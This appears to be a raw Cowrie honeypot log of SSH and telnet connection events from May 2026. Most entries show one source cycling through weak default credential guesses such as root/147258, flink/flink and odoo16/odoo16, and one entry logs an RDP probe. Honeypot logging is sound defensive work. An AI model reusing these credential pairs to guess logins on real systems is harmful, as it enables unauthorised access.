{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:26.185038Z","src_ip":"45.156.87.204","session":"5d4e69a81727","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258","message":"login attempt [root/147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:26.435604Z","src_ip":"45.156.87.204","session":"5d4e69a81727","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:27.522978Z","src_ip":"45.156.87.204","session":"5d4e69a81727","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41194,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d7833e77c05","protocol":"ssh","message":"New connection: 45.156.87.204:41194 (159.203.135.109:22) [session: 3d7833e77c05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:29.858835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:29.867283Z","src_ip":"45.156.87.204","session":"3d7833e77c05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:29.949160Z","src_ip":"45.156.87.204","session":"3d7833e77c05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:30.194618Z","src_ip":"45.156.87.204","session":"3d7833e77c05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:31.378314Z","src_ip":"45.156.87.204","session":"3d7833e77c05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":57010,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd0110e7d579","protocol":"ssh","message":"New connection: 45.156.87.204:57010 (159.203.135.109:22) [session: cd0110e7d579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:33.407059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:33.411687Z","src_ip":"45.156.87.204","session":"cd0110e7d579","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:33.494347Z","src_ip":"45.156.87.204","session":"cd0110e7d579","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flink","password":"flink","message":"login attempt [flink/flink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:33.981117Z","src_ip":"45.156.87.204","session":"cd0110e7d579","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:35.069044Z","src_ip":"45.156.87.204","session":"cd0110e7d579","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34324,"dst_ip":"10.17.0.5","dst_port":23,"session":"0138fd95973e","protocol":"telnet","message":"New connection: 152.42.224.71:34324 (10.17.0.5:23) [session: 0138fd95973e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:35.131071Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":57034,"dst_ip":"159.203.135.109","dst_port":22,"session":"20db328a3a1f","protocol":"ssh","message":"New connection: 45.156.87.204:57034 (159.203.135.109:22) [session: 20db328a3a1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:37.168663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:37.173972Z","src_ip":"45.156.87.204","session":"20db328a3a1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46866,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c93e2c06c7b","protocol":"telnet","message":"New connection: 152.42.224.71:46866 (10.17.0.5:23) [session: 7c93e2c06c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:37.187558Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:37.259334Z","src_ip":"45.156.87.204","session":"20db328a3a1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:37.626525Z","src_ip":"45.156.87.204","session":"20db328a3a1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:38.716221Z","src_ip":"45.156.87.204","session":"20db328a3a1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46882,"dst_ip":"10.17.0.5","dst_port":23,"session":"594775789dcd","protocol":"telnet","message":"New connection: 152.42.224.71:46882 (10.17.0.5:23) [session: 594775789dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:39.635529Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":57054,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9bc37847abc","protocol":"ssh","message":"New connection: 45.156.87.204:57054 (159.203.135.109:22) [session: a9bc37847abc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:40.859942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:40.866010Z","src_ip":"45.156.87.204","session":"a9bc37847abc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:40.944360Z","src_ip":"45.156.87.204","session":"a9bc37847abc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:41.268738Z","src_ip":"45.156.87.204","session":"a9bc37847abc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:42.355172Z","src_ip":"45.156.87.204","session":"a9bc37847abc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49264,"dst_ip":"159.203.135.109","dst_port":22,"session":"edc93b69adea","protocol":"ssh","message":"New connection: 45.156.87.204:49264 (159.203.135.109:22) [session: edc93b69adea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:44.622428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:44.627470Z","src_ip":"45.156.87.204","session":"edc93b69adea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:44.710310Z","src_ip":"45.156.87.204","session":"edc93b69adea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:44.962379Z","src_ip":"45.156.87.204","session":"edc93b69adea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:46.048136Z","src_ip":"45.156.87.204","session":"edc93b69adea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00232458114624,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:46.916923Z","src_ip":"152.42.224.71","session":"dfb5d30859e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49274,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bb4c741ad28","protocol":"ssh","message":"New connection: 45.156.87.204:49274 (159.203.135.109:22) [session: 2bb4c741ad28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:48.148721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:48.156775Z","src_ip":"45.156.87.204","session":"2bb4c741ad28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:48.240455Z","src_ip":"45.156.87.204","session":"2bb4c741ad28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:48.488953Z","src_ip":"45.156.87.204","session":"2bb4c741ad28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.215229511260986,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:49.461055Z","src_ip":"152.42.224.71","session":"ebc1c00dd8a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":64426,"dst_ip":"10.17.0.5","dst_port":22,"session":"9395252220ae","protocol":"ssh","message":"New connection: 152.42.212.128:64426 (10.17.0.5:22) [session: 9395252220ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:49.503144Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:49.508443Z","src_ip":"152.42.212.128","session":"9395252220ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:49.513033Z","src_ip":"152.42.212.128","session":"9395252220ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:49.572864Z","src_ip":"45.156.87.204","session":"2bb4c741ad28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49284,"dst_ip":"159.203.135.109","dst_port":22,"session":"a156cf2e3072","protocol":"ssh","message":"New connection: 45.156.87.204:49284 (159.203.135.109:22) [session: a156cf2e3072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:52.027560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:52.033137Z","src_ip":"45.156.87.204","session":"a156cf2e3072","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:52.119656Z","src_ip":"45.156.87.204","session":"a156cf2e3072","protocol":"ssh"}
